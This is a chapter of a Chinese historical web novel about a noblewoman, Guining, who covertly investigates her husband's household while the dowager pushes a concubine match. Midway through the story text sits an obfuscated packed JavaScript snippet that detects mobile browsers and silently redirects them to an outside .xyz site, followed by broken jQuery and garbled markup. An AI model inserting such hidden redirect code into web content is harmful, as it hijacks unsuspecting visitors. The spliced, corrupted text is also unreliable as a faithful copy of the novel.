见周嬷嬷仍有些一知半解的模样,归宁继续道:“那明渊寺老和尚的传言已经闹得满城风雨,可是咱们府上的人都守规矩,没有乱嚼舌根的。姨娘这次出门,嬷嬷可要看仔细了,别让她多听了什么,少听了什么。”
周嬷嬷这才堪堪明白过来,原来让齐姨娘出门去给二爷上坟,只是一个借口,是想让齐姨娘听听更多的声音。
周嬷嬷笑道:“夫人的心思越来越缜密了,老婆子都快被绕糊涂了。”
归宁心中也苦,可她没能力和萧元绰硬碰硬,甚至不敢让他发现丝毫破绽,长叹一声:“我斗不过夫君,只能如此安排。我只要一个公道,多的我也不求。哪怕日后他要休了我,我也要求一个真相。”
周嬷嬷也跟着伤怀,劝解道:“自古有‘七出三不去’之说,夫人为长辈守孝三年,大爷休妻,就是违背宗法礼教。莫说是伯爵府,就是普通百姓也不会做这等有损声誉之事。”
归宁却道:“可嬷嬷别忘了,恶疾及奸者不在此列。”
妻若犯“七出”,丈夫可休妻;可若妻满足“三不去”,丈夫则不能休妻。可“七出”中的“有恶疾”及“淫”两项,则不在“三不去”的保护范围之内。
周嬷嬷心中阵阵泛酸,“夫人身子好得很,又恪守妇德妇道,这话可不是乱说的。”
乐巧的事,让归宁看的更透彻了。萧元绰对付她的手段还算温和,若是有朝一日发现她有异心,将对付乐巧的手段拿出来,她哪里有翻身的机会?
“明日嬷嬷行事小心些,切莫留下痕迹便是。”便是市井传言,归宁都要小心到不能在府内传开,可见其慎重。
翌日一早,周嬷嬷推着归宁一大早去给邓氏请安,邓氏见她坐在轮椅上往来不便,笑道:“诶呦,不是说了不让你乱动,这会子怎么来了?”
“绰儿已经给我说了,等你伤好了再来请安便是,我是看着你长大的,咱们不来那些虚的。过些时日你母亲也该回来了吧,若是让她看到你这样,让我怎么和她交代呀!”
归宁淡淡笑道:“婆母言重了,本就是我不小心摔的。今儿儿媳来是有要事给婆母说。”
归宁将齐姨娘要出门上坟的事说了,既然萧元绰已经应允,邓氏自然没什么好说的,也点头应了,还让人拿了二两银子给齐姨娘,“替我买些他爱吃爱玩儿的东西送去吧,算我一份心意。”
几人又寒暄了几句,才出了邓氏的院子。见屋里空了下来,邓氏才命人摆饭。她近日吃斋,一桌子都是素菜,瑞欢在一旁服侍,“夫人办事还是有分寸的,但凡有超出规矩的事,都来请示太夫人。”
邓氏落了座,道:“家道中落,若不是老太太倚重,哪儿能嫁给绰儿?但凡跋扈些,爱耍小性子,闹些小脾气,也入不了绰儿的眼。”
作为母亲,她非常清楚儿子喜欢什么样的女子。归宁胜在容貌秀美,端庄娴雅。喜读书,识大体,又会管家,上敬长辈,下怜弟妹。
到底是老太太教出来的姑娘,让人挑不出错来,只要她不挑事,邓氏也乐得享受了。
她要的东西急不来,要徐徐图之,“让雪柔来家里多坐坐,阿宁要养伤,我一个人怪闷的。”
邓家身后的那些亡命之徒已经送走了,现在应该找个机会和萧元绰谈谈家事了。
**
再说归宁,回了孤芳苑之后,开始潜心绣香囊。
而周嬷嬷带着齐姨娘出门去给二爷上坟,该听的不该听的,都趁着出门的机会,让她长了见识。
本来明渊寺和尚的事,大理寺还遮遮掩掩,内宅妇人都心照不宣,生怕牵扯出自家一些见不得人的事来。可乐巧之事,让宫里起了关注,这事儿就传开了。
甚至有传言说,那老和尚根本没有死,死的可能就是个替身等话。
当日回来,齐姨娘就有些心神恍惚,周嬷嬷就当她是舟车劳顿,不曾多问,回了孤芳苑见归宁。
彼时归宁正在读信,眉眼间露出几丝欣喜。
那是母亲托人送来的密信……
信中说她将在三月中旬回到京师,也不知道发生了什么,竟然比预计时间晚了半个多月,让归宁好生担心。
按照母亲当时出发的时间推算,最晚三月初,也就是清明前后就应该回来了。
见信后,归宁既喜又叹,喜的是母亲归来,让她心里有了底;叹的是,万事无进展,自己还弄成了这个样子,徒让母亲担心,实在是不孝。
单妈妈不同寻常的死亡,她明知与萧元绰有关,可就是无从下手。她明知邓氏与那明渊寺的和尚暗中有勾连,却没有证据。
她怀疑,是不是单妈妈在应天发现他与倭人暗中有往来,才被灭了口。可这所谓的倭人她前后两世都不曾见过半个人影,且凭她对萧元绰的了解,他也不是那种卖国的人。
一切又回到了风平浪静的起点。
自上次负气离开,萧元绰已经有几日不曾来孤芳苑探望她。邓雪柔又来了萧府做客,萧元绰还陪着太夫人吃了几次饭。
正值春暖花开之季,归宁在屋内呆得发慌,让人推她去院子里转转,沏了一壶茶,坐在花树下翻琴谱。这琴谱还是父亲留给她的东西,她甚为珍视。
归宁调好琴弦,奏出记忆中的泠泠清音。清风拂过,落英缤纷,落在归宁的身上,宛如画境一般。
袅袅琴音在空旷之地散开,如潺潺流水拂过心田,让远观的萧元绰软下心来。
他信步走来,对瞧见他的丫头嘘声,示意不要打扰归宁。至一曲悲戚悠扬的《泣颜回》终了,才站在她身后,温声道:“怎么弹起这首曲子了?”
这首曲子相传乃思弟子颜回所作,充满哀悼叹惋,于这融融春光中奏响,着实有些伤感。
归宁淡笑道:“这不马上清明了,就想起了这首曲子。夫君想听什么,我弹来试试,不过只能是简单的,似《流水》和《广陵散》那般的曲子,我可不成。”
她本就学艺不精,又练习不勤,生疏了,只能糊弄糊弄外行人,和那秦淮河畔的女子是万万不能比的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840289|171000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>萧元绰对丝竹管弦之乐也没什么研究,随口道:“那就《潇湘水云》吧。”
归宁嫌难,带着几丝讨好道,“要不《归去来辞》吧。”
这首曲可以配合陶渊明的《归去来兮辞》吟诵,萧元绰笑了笑,“也好。”
归宁奏曲,萧元绰吟诗,夫妻二人夫唱妇随,琴瑟和鸣,这一幕于无形间深深刺痛了躲在暗处的邓雪柔。
姑母暗地里问了表哥纳妾之事,表哥只说再等等。她都十六了,再等两年真就成了老姑娘。
思及此,邓雪柔暗暗攥紧了粉拳。
一曲终了,萧元绰随手倒了一盏茶喝了。只觉今日这红茶茶汤入口滑顺细腻,醇厚绵绸,不由问道,“这是什么茶?”
归宁这才意识到不妥,竟然拿出了小周王送的大红袍,笑道:“从母亲那里随手拿的,也不知道是什么,夫君随意喝一喝就是了。”
宋娘子那里一向稀奇古怪的东西多,萧元绰对着茶汤端详了片刻,还是一口饮尽,再未多问。放在心上,放下茶盏,推着归宁四处走走,正赶上他旬休,这样的闲暇很难得。
归宁将清明祭祖的安排说了,等他的意见,萧元绰今日寻她,本也是询问此事。
她不良于行,今年是没办法参加了,祭祖之后,本可去出游,她道:“让婆母带着二姑娘和表姑娘出去转转吧。再过些时日估计母亲就回来了,到时候我想出府去看看她。”
萧元绰道:“我随你一同去。”
**
二人在花园转了一圈儿,傍晚时分才回到孤芳苑。用过饭之后,归宁将刚刚锈好的香囊拿出来,和声细语道:“前几日是我赌输了,且拿这个送夫君聊做补偿,可行?”
见她模样乖觉,萦绕在萧元绰心头多日的不快终于散尽,接过东西,仔细观赏了一番,笑道:“我喜欢。不过这个颜色有些重,马上入夏了,再送我一个颜色浅的配衣服吧。”
归宁的绣艺还是不错的,东西做的小巧精致,配色也很讲究。
归宁自是不能推辞,点头道:“好,这就给夫君准备。”
当日萧元绰还是宿在了孤芳苑,二人同床不同枕。萧元绰两次将挪到里侧的归宁连人带被抱了回来,迷迷糊糊道:“咱们都成亲了,你躲我做什么呢?”
母亲逼他纳妾了,眼下归宁有伤在身,是个开口的好机会,若是错过这几个月,以后恐怕更难了。
邓家帮萧家处理了不少脏事,可也是有所求的。邓睿江为人偏执,可最疼这个妹妹。如今大姐姐的事已平,邓家便更加急切起来。
可他不愿意为了旁人和归宁生分,如今二人尚未圆房,若此时纳妾,恐怕会生出太多嫌隙来。
若不是事关父亲,他真的不想插手大姐姐的事,徒惹一身腥。
趁归宁熟睡之际,萧元绰还是将人拉进了自己的被子里,小心地避开她受伤的腿,将人揽在怀里,这才安稳的闭上眼。
归宁自己半夜察觉到了不对,又悄悄盖回了自己的被子,紧挨着他睡了。